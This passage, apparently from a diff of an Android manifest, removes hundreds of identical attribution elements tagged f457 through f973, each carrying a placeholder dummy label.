- <attribution android:tag="f457" android:label="@string/dummyLabel" />
- <attribution android:tag="f458" android:label="@string/dummyLabel" />
- <attribution android:tag="f459" android:label="@string/dummyLabel" />
- <attribution android:tag="f460" android:label="@string/dummyLabel" />
- <attribution android:tag="f461" android:label="@string/dummyLabel" />
- <attribution android:tag="f462" android:label="@string/dummyLabel" />
- <attribution android:tag="f463" android:label="@string/dummyLabel" />
- <attribution android:tag="f464" android:label="@string/dummyLabel" />
- <attribution android:tag="f465" android:label="@string/dummyLabel" />
- <attribution android:tag="f466" android:label="@string/dummyLabel" />
- <attribution android:tag="f467" android:label="@string/dummyLabel" />
- <attribution android:tag="f468" android:label="@string/dummyLabel" />
- <attribution android:tag="f469" android:label="@string/dummyLabel" />
- <attribution android:tag="f470" android:label="@string/dummyLabel" />
- <attribution android:tag="f471" android:label="@string/dummyLabel" />
- <attribution android:tag="f472" android:label="@string/dummyLabel" />
- <attribution android:tag="f473" android:label="@string/dummyLabel" />
- <attribution android:tag="f474" android:label="@string/dummyLabel" />
- <attribution android:tag="f475" android:label="@string/dummyLabel" />
- <attribution android:tag="f476" android:label="@string/dummyLabel" />
- <attribution android:tag="f477" android:label="@string/dummyLabel" />
- <attribution android:tag="f478" android:label="@string/dummyLabel" />
- <attribution android:tag="f479" android:label="@string/dummyLabel" />
- <attribution android:tag="f480" android:label="@string/dummyLabel" />
- <attribution android:tag="f481" android:label="@string/dummyLabel" />
- <attribution android:tag="f482" android:label="@string/dummyLabel" />
- <attribution android:tag="f483" android:label="@string/dummyLabel" />
- <attribution android:tag="f484" android:label="@string/dummyLabel" />
- <attribution android:tag="f485" android:label="@string/dummyLabel" />
- <attribution android:tag="f486" android:label="@string/dummyLabel" />
- <attribution android:tag="f487" android:label="@string/dummyLabel" />
- <attribution android:tag="f488" android:label="@string/dummyLabel" />
- <attribution android:tag="f489" android:label="@string/dummyLabel" />
- <attribution android:tag="f490" android:label="@string/dummyLabel" />
- <attribution android:tag="f491" android:label="@string/dummyLabel" />
- <attribution android:tag="f492" android:label="@string/dummyLabel" />
- <attribution android:tag="f493" android:label="@string/dummyLabel" />
- <attribution android:tag="f494" android:label="@string/dummyLabel" />
- <attribution android:tag="f495" android:label="@string/dummyLabel" />
- <attribution android:tag="f496" android:label="@string/dummyLabel" />
- <attribution android:tag="f497" android:label="@string/dummyLabel" />
- <attribution android:tag="f498" android:label="@string/dummyLabel" />
- <attribution android:tag="f499" android:label="@string/dummyLabel" />
- <attribution android:tag="f500" android:label="@string/dummyLabel" />
- <attribution android:tag="f501" android:label="@string/dummyLabel" />
- <attribution android:tag="f502" android:label="@string/dummyLabel" />
- <attribution android:tag="f503" android:label="@string/dummyLabel" />
- <attribution android:tag="f504" android:label="@string/dummyLabel" />
- <attribution android:tag="f505" android:label="@string/dummyLabel" />
- <attribution android:tag="f506" android:label="@string/dummyLabel" />
- <attribution android:tag="f507" android:label="@string/dummyLabel" />
- <attribution android:tag="f508" android:label="@string/dummyLabel" />
- <attribution android:tag="f509" android:label="@string/dummyLabel" />
- <attribution android:tag="f510" android:label="@string/dummyLabel" />
- <attribution android:tag="f511" android:label="@string/dummyLabel" />
- <attribution android:tag="f512" android:label="@string/dummyLabel" />
- <attribution android:tag="f513" android:label="@string/dummyLabel" />
- <attribution android:tag="f514" android:label="@string/dummyLabel" />
- <attribution android:tag="f515" android:label="@string/dummyLabel" />
- <attribution android:tag="f516" android:label="@string/dummyLabel" />
- <attribution android:tag="f517" android:label="@string/dummyLabel" />
- <attribution android:tag="f518" android:label="@string/dummyLabel" />
- <attribution android:tag="f519" android:label="@string/dummyLabel" />
- <attribution android:tag="f520" android:label="@string/dummyLabel" />
- <attribution android:tag="f521" android:label="@string/dummyLabel" />
- <attribution android:tag="f522" android:label="@string/dummyLabel" />
- <attribution android:tag="f523" android:label="@string/dummyLabel" />
- <attribution android:tag="f524" android:label="@string/dummyLabel" />
- <attribution android:tag="f525" android:label="@string/dummyLabel" />
- <attribution android:tag="f526" android:label="@string/dummyLabel" />
- <attribution android:tag="f527" android:label="@string/dummyLabel" />
- <attribution android:tag="f528" android:label="@string/dummyLabel" />
- <attribution android:tag="f529" android:label="@string/dummyLabel" />
- <attribution android:tag="f530" android:label="@string/dummyLabel" />
- <attribution android:tag="f531" android:label="@string/dummyLabel" />
- <attribution android:tag="f532" android:label="@string/dummyLabel" />
- <attribution android:tag="f533" android:label="@string/dummyLabel" />
- <attribution android:tag="f534" android:label="@string/dummyLabel" />
- <attribution android:tag="f535" android:label="@string/dummyLabel" />
- <attribution android:tag="f536" android:label="@string/dummyLabel" />
- <attribution android:tag="f537" android:label="@string/dummyLabel" />
- <attribution android:tag="f538" android:label="@string/dummyLabel" />
- <attribution android:tag="f539" android:label="@string/dummyLabel" />
- <attribution android:tag="f540" android:label="@string/dummyLabel" />
- <attribution android:tag="f541" android:label="@string/dummyLabel" />
- <attribution android:tag="f542" android:label="@string/dummyLabel" />
- <attribution android:tag="f543" android:label="@string/dummyLabel" />
- <attribution android:tag="f544" android:label="@string/dummyLabel" />
- <attribution android:tag="f545" android:label="@string/dummyLabel" />
- <attribution android:tag="f546" android:label="@string/dummyLabel" />
- <attribution android:tag="f547" android:label="@string/dummyLabel" />
- <attribution android:tag="f548" android:label="@string/dummyLabel" />
- <attribution android:tag="f549" android:label="@string/dummyLabel" />
- <attribution android:tag="f550" android:label="@string/dummyLabel" />
- <attribution android:tag="f551" android:label="@string/dummyLabel" />
- <attribution android:tag="f552" android:label="@string/dummyLabel" />
- <attribution android:tag="f553" android:label="@string/dummyLabel" />
- <attribution android:tag="f554" android:label="@string/dummyLabel" />
- <attribution android:tag="f555" android:label="@string/dummyLabel" />
- <attribution android:tag="f556" android:label="@string/dummyLabel" />
- <attribution android:tag="f557" android:label="@string/dummyLabel" />
- <attribution android:tag="f558" android:label="@string/dummyLabel" />
- <attribution android:tag="f559" android:label="@string/dummyLabel" />
- <attribution android:tag="f560" android:label="@string/dummyLabel" />
- <attribution android:tag="f561" android:label="@string/dummyLabel" />
- <attribution android:tag="f562" android:label="@string/dummyLabel" />
- <attribution android:tag="f563" android:label="@string/dummyLabel" />
- <attribution android:tag="f564" android:label="@string/dummyLabel" />
- <attribution android:tag="f565" android:label="@string/dummyLabel" />
- <attribution android:tag="f566" android:label="@string/dummyLabel" />
- <attribution android:tag="f567" android:label="@string/dummyLabel" />
- <attribution android:tag="f568" android:label="@string/dummyLabel" />
- <attribution android:tag="f569" android:label="@string/dummyLabel" />
- <attribution android:tag="f570" android:label="@string/dummyLabel" />
- <attribution android:tag="f571" android:label="@string/dummyLabel" />
- <attribution android:tag="f572" android:label="@string/dummyLabel" />
- <attribution android:tag="f573" android:label="@string/dummyLabel" />
- <attribution android:tag="f574" android:label="@string/dummyLabel" />
- <attribution android:tag="f575" android:label="@string/dummyLabel" />
- <attribution android:tag="f576" android:label="@string/dummyLabel" />
- <attribution android:tag="f577" android:label="@string/dummyLabel" />
- <attribution android:tag="f578" android:label="@string/dummyLabel" />
- <attribution android:tag="f579" android:label="@string/dummyLabel" />
- <attribution android:tag="f580" android:label="@string/dummyLabel" />
- <attribution android:tag="f581" android:label="@string/dummyLabel" />
- <attribution android:tag="f582" android:label="@string/dummyLabel" />
- <attribution android:tag="f583" android:label="@string/dummyLabel" />
- <attribution android:tag="f584" android:label="@string/dummyLabel" />
- <attribution android:tag="f585" android:label="@string/dummyLabel" />
- <attribution android:tag="f586" android:label="@string/dummyLabel" />
- <attribution android:tag="f587" android:label="@string/dummyLabel" />
- <attribution android:tag="f588" android:label="@string/dummyLabel" />
- <attribution android:tag="f589" android:label="@string/dummyLabel" />
- <attribution android:tag="f590" android:label="@string/dummyLabel" />
- <attribution android:tag="f591" android:label="@string/dummyLabel" />
- <attribution android:tag="f592" android:label="@string/dummyLabel" />
- <attribution android:tag="f593" android:label="@string/dummyLabel" />
- <attribution android:tag="f594" android:label="@string/dummyLabel" />
- <attribution android:tag="f595" android:label="@string/dummyLabel" />
- <attribution android:tag="f596" android:label="@string/dummyLabel" />
- <attribution android:tag="f597" android:label="@string/dummyLabel" />
- <attribution android:tag="f598" android:label="@string/dummyLabel" />
- <attribution android:tag="f599" android:label="@string/dummyLabel" />
- <attribution android:tag="f600" android:label="@string/dummyLabel" />
- <attribution android:tag="f601" android:label="@string/dummyLabel" />
- <attribution android:tag="f602" android:label="@string/dummyLabel" />
- <attribution android:tag="f603" android:label="@string/dummyLabel" />
- <attribution android:tag="f604" android:label="@string/dummyLabel" />
- <attribution android:tag="f605" android:label="@string/dummyLabel" />
- <attribution android:tag="f606" android:label="@string/dummyLabel" />
- <attribution android:tag="f607" android:label="@string/dummyLabel" />
- <attribution android:tag="f608" android:label="@string/dummyLabel" />
- <attribution android:tag="f609" android:label="@string/dummyLabel" />
- <attribution android:tag="f610" android:label="@string/dummyLabel" />
- <attribution android:tag="f611" android:label="@string/dummyLabel" />
- <attribution android:tag="f612" android:label="@string/dummyLabel" />
- <attribution android:tag="f613" android:label="@string/dummyLabel" />
- <attribution android:tag="f614" android:label="@string/dummyLabel" />
- <attribution android:tag="f615" android:label="@string/dummyLabel" />
- <attribution android:tag="f616" android:label="@string/dummyLabel" />
- <attribution android:tag="f617" android:label="@string/dummyLabel" />
- <attribution android:tag="f618" android:label="@string/dummyLabel" />
- <attribution android:tag="f619" android:label="@string/dummyLabel" />
- <attribution android:tag="f620" android:label="@string/dummyLabel" />
- <attribution android:tag="f621" android:label="@string/dummyLabel" />
- <attribution android:tag="f622" android:label="@string/dummyLabel" />
- <attribution android:tag="f623" android:label="@string/dummyLabel" />
- <attribution android:tag="f624" android:label="@string/dummyLabel" />
- <attribution android:tag="f625" android:label="@string/dummyLabel" />
- <attribution android:tag="f626" android:label="@string/dummyLabel" />
- <attribution android:tag="f627" android:label="@string/dummyLabel" />
- <attribution android:tag="f628" android:label="@string/dummyLabel" />
- <attribution android:tag="f629" android:label="@string/dummyLabel" />
- <attribution android:tag="f630" android:label="@string/dummyLabel" />
- <attribution android:tag="f631" android:label="@string/dummyLabel" />
- <attribution android:tag="f632" android:label="@string/dummyLabel" />
- <attribution android:tag="f633" android:label="@string/dummyLabel" />
- <attribution android:tag="f634" android:label="@string/dummyLabel" />
- <attribution android:tag="f635" android:label="@string/dummyLabel" />
- <attribution android:tag="f636" android:label="@string/dummyLabel" />
- <attribution android:tag="f637" android:label="@string/dummyLabel" />
- <attribution android:tag="f638" android:label="@string/dummyLabel" />
- <attribution android:tag="f639" android:label="@string/dummyLabel" />
- <attribution android:tag="f640" android:label="@string/dummyLabel" />
- <attribution android:tag="f641" android:label="@string/dummyLabel" />
- <attribution android:tag="f642" android:label="@string/dummyLabel" />
- <attribution android:tag="f643" android:label="@string/dummyLabel" />
- <attribution android:tag="f644" android:label="@string/dummyLabel" />
- <attribution android:tag="f645" android:label="@string/dummyLabel" />
- <attribution android:tag="f646" android:label="@string/dummyLabel" />
- <attribution android:tag="f647" android:label="@string/dummyLabel" />
- <attribution android:tag="f648" android:label="@string/dummyLabel" />
- <attribution android:tag="f649" android:label="@string/dummyLabel" />
- <attribution android:tag="f650" android:label="@string/dummyLabel" />
- <attribution android:tag="f651" android:label="@string/dummyLabel" />
- <attribution android:tag="f652" android:label="@string/dummyLabel" />
- <attribution android:tag="f653" android:label="@string/dummyLabel" />
- <attribution android:tag="f654" android:label="@string/dummyLabel" />
- <attribution android:tag="f655" android:label="@string/dummyLabel" />
- <attribution android:tag="f656" android:label="@string/dummyLabel" />
- <attribution android:tag="f657" android:label="@string/dummyLabel" />
- <attribution android:tag="f658" android:label="@string/dummyLabel" />
- <attribution android:tag="f659" android:label="@string/dummyLabel" />
- <attribution android:tag="f660" android:label="@string/dummyLabel" />
- <attribution android:tag="f661" android:label="@string/dummyLabel" />
- <attribution android:tag="f662" android:label="@string/dummyLabel" />
- <attribution android:tag="f663" android:label="@string/dummyLabel" />
- <attribution android:tag="f664" android:label="@string/dummyLabel" />
- <attribution android:tag="f665" android:label="@string/dummyLabel" />
- <attribution android:tag="f666" android:label="@string/dummyLabel" />
- <attribution android:tag="f667" android:label="@string/dummyLabel" />
- <attribution android:tag="f668" android:label="@string/dummyLabel" />
- <attribution android:tag="f669" android:label="@string/dummyLabel" />
- <attribution android:tag="f670" android:label="@string/dummyLabel" />
- <attribution android:tag="f671" android:label="@string/dummyLabel" />
- <attribution android:tag="f672" android:label="@string/dummyLabel" />
- <attribution android:tag="f673" android:label="@string/dummyLabel" />
- <attribution android:tag="f674" android:label="@string/dummyLabel" />
- <attribution android:tag="f675" android:label="@string/dummyLabel" />
- <attribution android:tag="f676" android:label="@string/dummyLabel" />
- <attribution android:tag="f677" android:label="@string/dummyLabel" />
- <attribution android:tag="f678" android:label="@string/dummyLabel" />
- <attribution android:tag="f679" android:label="@string/dummyLabel" />
- <attribution android:tag="f680" android:label="@string/dummyLabel" />
- <attribution android:tag="f681" android:label="@string/dummyLabel" />
- <attribution android:tag="f682" android:label="@string/dummyLabel" />
- <attribution android:tag="f683" android:label="@string/dummyLabel" />
- <attribution android:tag="f684" android:label="@string/dummyLabel" />
- <attribution android:tag="f685" android:label="@string/dummyLabel" />
- <attribution android:tag="f686" android:label="@string/dummyLabel" />
- <attribution android:tag="f687" android:label="@string/dummyLabel" />
- <attribution android:tag="f688" android:label="@string/dummyLabel" />
- <attribution android:tag="f689" android:label="@string/dummyLabel" />
- <attribution android:tag="f690" android:label="@string/dummyLabel" />
- <attribution android:tag="f691" android:label="@string/dummyLabel" />
- <attribution android:tag="f692" android:label="@string/dummyLabel" />
- <attribution android:tag="f693" android:label="@string/dummyLabel" />
- <attribution android:tag="f694" android:label="@string/dummyLabel" />
- <attribution android:tag="f695" android:label="@string/dummyLabel" />
- <attribution android:tag="f696" android:label="@string/dummyLabel" />
- <attribution android:tag="f697" android:label="@string/dummyLabel" />
- <attribution android:tag="f698" android:label="@string/dummyLabel" />
- <attribution android:tag="f699" android:label="@string/dummyLabel" />
- <attribution android:tag="f700" android:label="@string/dummyLabel" />
- <attribution android:tag="f701" android:label="@string/dummyLabel" />
- <attribution android:tag="f702" android:label="@string/dummyLabel" />
- <attribution android:tag="f703" android:label="@string/dummyLabel" />
- <attribution android:tag="f704" android:label="@string/dummyLabel" />
- <attribution android:tag="f705" android:label="@string/dummyLabel" />
- <attribution android:tag="f706" android:label="@string/dummyLabel" />
- <attribution android:tag="f707" android:label="@string/dummyLabel" />
- <attribution android:tag="f708" android:label="@string/dummyLabel" />
- <attribution android:tag="f709" android:label="@string/dummyLabel" />
- <attribution android:tag="f710" android:label="@string/dummyLabel" />
- <attribution android:tag="f711" android:label="@string/dummyLabel" />
- <attribution android:tag="f712" android:label="@string/dummyLabel" />
- <attribution android:tag="f713" android:label="@string/dummyLabel" />
- <attribution android:tag="f714" android:label="@string/dummyLabel" />
- <attribution android:tag="f715" android:label="@string/dummyLabel" />
- <attribution android:tag="f716" android:label="@string/dummyLabel" />
- <attribution android:tag="f717" android:label="@string/dummyLabel" />
- <attribution android:tag="f718" android:label="@string/dummyLabel" />
- <attribution android:tag="f719" android:label="@string/dummyLabel" />
- <attribution android:tag="f720" android:label="@string/dummyLabel" />
- <attribution android:tag="f721" android:label="@string/dummyLabel" />
- <attribution android:tag="f722" android:label="@string/dummyLabel" />
- <attribution android:tag="f723" android:label="@string/dummyLabel" />
- <attribution android:tag="f724" android:label="@string/dummyLabel" />
- <attribution android:tag="f725" android:label="@string/dummyLabel" />
- <attribution android:tag="f726" android:label="@string/dummyLabel" />
- <attribution android:tag="f727" android:label="@string/dummyLabel" />
- <attribution android:tag="f728" android:label="@string/dummyLabel" />
- <attribution android:tag="f729" android:label="@string/dummyLabel" />
- <attribution android:tag="f730" android:label="@string/dummyLabel" />
- <attribution android:tag="f731" android:label="@string/dummyLabel" />
- <attribution android:tag="f732" android:label="@string/dummyLabel" />
- <attribution android:tag="f733" android:label="@string/dummyLabel" />
- <attribution android:tag="f734" android:label="@string/dummyLabel" />
- <attribution android:tag="f735" android:label="@string/dummyLabel" />
- <attribution android:tag="f736" android:label="@string/dummyLabel" />
- <attribution android:tag="f737" android:label="@string/dummyLabel" />
- <attribution android:tag="f738" android:label="@string/dummyLabel" />
- <attribution android:tag="f739" android:label="@string/dummyLabel" />
- <attribution android:tag="f740" android:label="@string/dummyLabel" />
- <attribution android:tag="f741" android:label="@string/dummyLabel" />
- <attribution android:tag="f742" android:label="@string/dummyLabel" />
- <attribution android:tag="f743" android:label="@string/dummyLabel" />
- <attribution android:tag="f744" android:label="@string/dummyLabel" />
- <attribution android:tag="f745" android:label="@string/dummyLabel" />
- <attribution android:tag="f746" android:label="@string/dummyLabel" />
- <attribution android:tag="f747" android:label="@string/dummyLabel" />
- <attribution android:tag="f748" android:label="@string/dummyLabel" />
- <attribution android:tag="f749" android:label="@string/dummyLabel" />
- <attribution android:tag="f750" android:label="@string/dummyLabel" />
- <attribution android:tag="f751" android:label="@string/dummyLabel" />
- <attribution android:tag="f752" android:label="@string/dummyLabel" />
- <attribution android:tag="f753" android:label="@string/dummyLabel" />
- <attribution android:tag="f754" android:label="@string/dummyLabel" />
- <attribution android:tag="f755" android:label="@string/dummyLabel" />
- <attribution android:tag="f756" android:label="@string/dummyLabel" />
- <attribution android:tag="f757" android:label="@string/dummyLabel" />
- <attribution android:tag="f758" android:label="@string/dummyLabel" />
- <attribution android:tag="f759" android:label="@string/dummyLabel" />
- <attribution android:tag="f760" android:label="@string/dummyLabel" />
- <attribution android:tag="f761" android:label="@string/dummyLabel" />
- <attribution android:tag="f762" android:label="@string/dummyLabel" />
- <attribution android:tag="f763" android:label="@string/dummyLabel" />
- <attribution android:tag="f764" android:label="@string/dummyLabel" />
- <attribution android:tag="f765" android:label="@string/dummyLabel" />
- <attribution android:tag="f766" android:label="@string/dummyLabel" />
- <attribution android:tag="f767" android:label="@string/dummyLabel" />
- <attribution android:tag="f768" android:label="@string/dummyLabel" />
- <attribution android:tag="f769" android:label="@string/dummyLabel" />
- <attribution android:tag="f770" android:label="@string/dummyLabel" />
- <attribution android:tag="f771" android:label="@string/dummyLabel" />
- <attribution android:tag="f772" android:label="@string/dummyLabel" />
- <attribution android:tag="f773" android:label="@string/dummyLabel" />
- <attribution android:tag="f774" android:label="@string/dummyLabel" />
- <attribution android:tag="f775" android:label="@string/dummyLabel" />
- <attribution android:tag="f776" android:label="@string/dummyLabel" />
- <attribution android:tag="f777" android:label="@string/dummyLabel" />
- <attribution android:tag="f778" android:label="@string/dummyLabel" />
- <attribution android:tag="f779" android:label="@string/dummyLabel" />
- <attribution android:tag="f780" android:label="@string/dummyLabel" />
- <attribution android:tag="f781" android:label="@string/dummyLabel" />
- <attribution android:tag="f782" android:label="@string/dummyLabel" />
- <attribution android:tag="f783" android:label="@string/dummyLabel" />
- <attribution android:tag="f784" android:label="@string/dummyLabel" />
- <attribution android:tag="f785" android:label="@string/dummyLabel" />
- <attribution android:tag="f786" android:label="@string/dummyLabel" />
- <attribution android:tag="f787" android:label="@string/dummyLabel" />
- <attribution android:tag="f788" android:label="@string/dummyLabel" />
- <attribution android:tag="f789" android:label="@string/dummyLabel" />
- <attribution android:tag="f790" android:label="@string/dummyLabel" />
- <attribution android:tag="f791" android:label="@string/dummyLabel" />
- <attribution android:tag="f792" android:label="@string/dummyLabel" />
- <attribution android:tag="f793" android:label="@string/dummyLabel" />
- <attribution android:tag="f794" android:label="@string/dummyLabel" />
- <attribution android:tag="f795" android:label="@string/dummyLabel" />
- <attribution android:tag="f796" android:label="@string/dummyLabel" />
- <attribution android:tag="f797" android:label="@string/dummyLabel" />
- <attribution android:tag="f798" android:label="@string/dummyLabel" />
- <attribution android:tag="f799" android:label="@string/dummyLabel" />
- <attribution android:tag="f800" android:label="@string/dummyLabel" />
- <attribution android:tag="f801" android:label="@string/dummyLabel" />
- <attribution android:tag="f802" android:label="@string/dummyLabel" />
- <attribution android:tag="f803" android:label="@string/dummyLabel" />
- <attribution android:tag="f804" android:label="@string/dummyLabel" />
- <attribution android:tag="f805" android:label="@string/dummyLabel" />
- <attribution android:tag="f806" android:label="@string/dummyLabel" />
- <attribution android:tag="f807" android:label="@string/dummyLabel" />
- <attribution android:tag="f808" android:label="@string/dummyLabel" />
- <attribution android:tag="f809" android:label="@string/dummyLabel" />
- <attribution android:tag="f810" android:label="@string/dummyLabel" />
- <attribution android:tag="f811" android:label="@string/dummyLabel" />
- <attribution android:tag="f812" android:label="@string/dummyLabel" />
- <attribution android:tag="f813" android:label="@string/dummyLabel" />
- <attribution android:tag="f814" android:label="@string/dummyLabel" />
- <attribution android:tag="f815" android:label="@string/dummyLabel" />
- <attribution android:tag="f816" android:label="@string/dummyLabel" />
- <attribution android:tag="f817" android:label="@string/dummyLabel" />
- <attribution android:tag="f818" android:label="@string/dummyLabel" />
- <attribution android:tag="f819" android:label="@string/dummyLabel" />
- <attribution android:tag="f820" android:label="@string/dummyLabel" />
- <attribution android:tag="f821" android:label="@string/dummyLabel" />
- <attribution android:tag="f822" android:label="@string/dummyLabel" />
- <attribution android:tag="f823" android:label="@string/dummyLabel" />
- <attribution android:tag="f824" android:label="@string/dummyLabel" />
- <attribution android:tag="f825" android:label="@string/dummyLabel" />
- <attribution android:tag="f826" android:label="@string/dummyLabel" />
- <attribution android:tag="f827" android:label="@string/dummyLabel" />
- <attribution android:tag="f828" android:label="@string/dummyLabel" />
- <attribution android:tag="f829" android:label="@string/dummyLabel" />
- <attribution android:tag="f830" android:label="@string/dummyLabel" />
- <attribution android:tag="f831" android:label="@string/dummyLabel" />
- <attribution android:tag="f832" android:label="@string/dummyLabel" />
- <attribution android:tag="f833" android:label="@string/dummyLabel" />
- <attribution android:tag="f834" android:label="@string/dummyLabel" />
- <attribution android:tag="f835" android:label="@string/dummyLabel" />
- <attribution android:tag="f836" android:label="@string/dummyLabel" />
- <attribution android:tag="f837" android:label="@string/dummyLabel" />
- <attribution android:tag="f838" android:label="@string/dummyLabel" />
- <attribution android:tag="f839" android:label="@string/dummyLabel" />
- <attribution android:tag="f840" android:label="@string/dummyLabel" />
- <attribution android:tag="f841" android:label="@string/dummyLabel" />
- <attribution android:tag="f842" android:label="@string/dummyLabel" />
- <attribution android:tag="f843" android:label="@string/dummyLabel" />
- <attribution android:tag="f844" android:label="@string/dummyLabel" />
- <attribution android:tag="f845" android:label="@string/dummyLabel" />
- <attribution android:tag="f846" android:label="@string/dummyLabel" />
- <attribution android:tag="f847" android:label="@string/dummyLabel" />
- <attribution android:tag="f848" android:label="@string/dummyLabel" />
- <attribution android:tag="f849" android:label="@string/dummyLabel" />
- <attribution android:tag="f850" android:label="@string/dummyLabel" />
- <attribution android:tag="f851" android:label="@string/dummyLabel" />
- <attribution android:tag="f852" android:label="@string/dummyLabel" />
- <attribution android:tag="f853" android:label="@string/dummyLabel" />
- <attribution android:tag="f854" android:label="@string/dummyLabel" />
- <attribution android:tag="f855" android:label="@string/dummyLabel" />
- <attribution android:tag="f856" android:label="@string/dummyLabel" />
- <attribution android:tag="f857" android:label="@string/dummyLabel" />
- <attribution android:tag="f858" android:label="@string/dummyLabel" />
- <attribution android:tag="f859" android:label="@string/dummyLabel" />
- <attribution android:tag="f860" android:label="@string/dummyLabel" />
- <attribution android:tag="f861" android:label="@string/dummyLabel" />
- <attribution android:tag="f862" android:label="@string/dummyLabel" />
- <attribution android:tag="f863" android:label="@string/dummyLabel" />
- <attribution android:tag="f864" android:label="@string/dummyLabel" />
- <attribution android:tag="f865" android:label="@string/dummyLabel" />
- <attribution android:tag="f866" android:label="@string/dummyLabel" />
- <attribution android:tag="f867" android:label="@string/dummyLabel" />
- <attribution android:tag="f868" android:label="@string/dummyLabel" />
- <attribution android:tag="f869" android:label="@string/dummyLabel" />
- <attribution android:tag="f870" android:label="@string/dummyLabel" />
- <attribution android:tag="f871" android:label="@string/dummyLabel" />
- <attribution android:tag="f872" android:label="@string/dummyLabel" />
- <attribution android:tag="f873" android:label="@string/dummyLabel" />
- <attribution android:tag="f874" android:label="@string/dummyLabel" />
- <attribution android:tag="f875" android:label="@string/dummyLabel" />
- <attribution android:tag="f876" android:label="@string/dummyLabel" />
- <attribution android:tag="f877" android:label="@string/dummyLabel" />
- <attribution android:tag="f878" android:label="@string/dummyLabel" />
- <attribution android:tag="f879" android:label="@string/dummyLabel" />
- <attribution android:tag="f880" android:label="@string/dummyLabel" />
- <attribution android:tag="f881" android:label="@string/dummyLabel" />
- <attribution android:tag="f882" android:label="@string/dummyLabel" />
- <attribution android:tag="f883" android:label="@string/dummyLabel" />
- <attribution android:tag="f884" android:label="@string/dummyLabel" />
- <attribution android:tag="f885" android:label="@string/dummyLabel" />
- <attribution android:tag="f886" android:label="@string/dummyLabel" />
- <attribution android:tag="f887" android:label="@string/dummyLabel" />
- <attribution android:tag="f888" android:label="@string/dummyLabel" />
- <attribution android:tag="f889" android:label="@string/dummyLabel" />
- <attribution android:tag="f890" android:label="@string/dummyLabel" />
- <attribution android:tag="f891" android:label="@string/dummyLabel" />
- <attribution android:tag="f892" android:label="@string/dummyLabel" />
- <attribution android:tag="f893" android:label="@string/dummyLabel" />
- <attribution android:tag="f894" android:label="@string/dummyLabel" />
- <attribution android:tag="f895" android:label="@string/dummyLabel" />
- <attribution android:tag="f896" android:label="@string/dummyLabel" />
- <attribution android:tag="f897" android:label="@string/dummyLabel" />
- <attribution android:tag="f898" android:label="@string/dummyLabel" />
- <attribution android:tag="f899" android:label="@string/dummyLabel" />
- <attribution android:tag="f900" android:label="@string/dummyLabel" />
- <attribution android:tag="f901" android:label="@string/dummyLabel" />
- <attribution android:tag="f902" android:label="@string/dummyLabel" />
- <attribution android:tag="f903" android:label="@string/dummyLabel" />
- <attribution android:tag="f904" android:label="@string/dummyLabel" />
- <attribution android:tag="f905" android:label="@string/dummyLabel" />
- <attribution android:tag="f906" android:label="@string/dummyLabel" />
- <attribution android:tag="f907" android:label="@string/dummyLabel" />
- <attribution android:tag="f908" android:label="@string/dummyLabel" />
- <attribution android:tag="f909" android:label="@string/dummyLabel" />
- <attribution android:tag="f910" android:label="@string/dummyLabel" />
- <attribution android:tag="f911" android:label="@string/dummyLabel" />
- <attribution android:tag="f912" android:label="@string/dummyLabel" />
- <attribution android:tag="f913" android:label="@string/dummyLabel" />
- <attribution android:tag="f914" android:label="@string/dummyLabel" />
- <attribution android:tag="f915" android:label="@string/dummyLabel" />
- <attribution android:tag="f916" android:label="@string/dummyLabel" />
- <attribution android:tag="f917" android:label="@string/dummyLabel" />
- <attribution android:tag="f918" android:label="@string/dummyLabel" />
- <attribution android:tag="f919" android:label="@string/dummyLabel" />
- <attribution android:tag="f920" android:label="@string/dummyLabel" />
- <attribution android:tag="f921" android:label="@string/dummyLabel" />
- <attribution android:tag="f922" android:label="@string/dummyLabel" />
- <attribution android:tag="f923" android:label="@string/dummyLabel" />
- <attribution android:tag="f924" android:label="@string/dummyLabel" />
- <attribution android:tag="f925" android:label="@string/dummyLabel" />
- <attribution android:tag="f926" android:label="@string/dummyLabel" />
- <attribution android:tag="f927" android:label="@string/dummyLabel" />
- <attribution android:tag="f928" android:label="@string/dummyLabel" />
- <attribution android:tag="f929" android:label="@string/dummyLabel" />
- <attribution android:tag="f930" android:label="@string/dummyLabel" />
- <attribution android:tag="f931" android:label="@string/dummyLabel" />
- <attribution android:tag="f932" android:label="@string/dummyLabel" />
- <attribution android:tag="f933" android:label="@string/dummyLabel" />
- <attribution android:tag="f934" android:label="@string/dummyLabel" />
- <attribution android:tag="f935" android:label="@string/dummyLabel" />
- <attribution android:tag="f936" android:label="@string/dummyLabel" />
- <attribution android:tag="f937" android:label="@string/dummyLabel" />
- <attribution android:tag="f938" android:label="@string/dummyLabel" />
- <attribution android:tag="f939" android:label="@string/dummyLabel" />
- <attribution android:tag="f940" android:label="@string/dummyLabel" />
- <attribution android:tag="f941" android:label="@string/dummyLabel" />
- <attribution android:tag="f942" android:label="@string/dummyLabel" />
- <attribution android:tag="f943" android:label="@string/dummyLabel" />
- <attribution android:tag="f944" android:label="@string/dummyLabel" />
- <attribution android:tag="f945" android:label="@string/dummyLabel" />
- <attribution android:tag="f946" android:label="@string/dummyLabel" />
- <attribution android:tag="f947" android:label="@string/dummyLabel" />
- <attribution android:tag="f948" android:label="@string/dummyLabel" />
- <attribution android:tag="f949" android:label="@string/dummyLabel" />
- <attribution android:tag="f950" android:label="@string/dummyLabel" />
- <attribution android:tag="f951" android:label="@string/dummyLabel" />
- <attribution android:tag="f952" android:label="@string/dummyLabel" />
- <attribution android:tag="f953" android:label="@string/dummyLabel" />
- <attribution android:tag="f954" android:label="@string/dummyLabel" />
- <attribution android:tag="f955" android:label="@string/dummyLabel" />
- <attribution android:tag="f956" android:label="@string/dummyLabel" />
- <attribution android:tag="f957" android:label="@string/dummyLabel" />
- <attribution android:tag="f958" android:label="@string/dummyLabel" />
- <attribution android:tag="f959" android:label="@string/dummyLabel" />
- <attribution android:tag="f960" android:label="@string/dummyLabel" />
- <attribution android:tag="f961" android:label="@string/dummyLabel" />
- <attribution android:tag="f962" android:label="@string/dummyLabel" />
- <attribution android:tag="f963" android:label="@string/dummyLabel" />
- <attribution android:tag="f964" android:label="@string/dummyLabel" />
- <attribution android:tag="f965" android:label="@string/dummyLabel" />
- <attribution android:tag="f966" android:label="@string/dummyLabel" />
- <attribution android:tag="f967" android:label="@string/dummyLabel" />
- <attribution android:tag="f968" android:label="@string/dummyLabel" />
- <attribution android:tag="f969" android:label="@string/dummyLabel" />
- <attribution android:tag="f970" android:label="@string/dummyLabel" />
- <attribution android:tag="f971" android:label="@string/dummyLabel" />
- <attribution android:tag="f972" android:label="@string/dummyLabel" />
- <attribution android:tag="f973" android:label="@string/dummyLabel" />
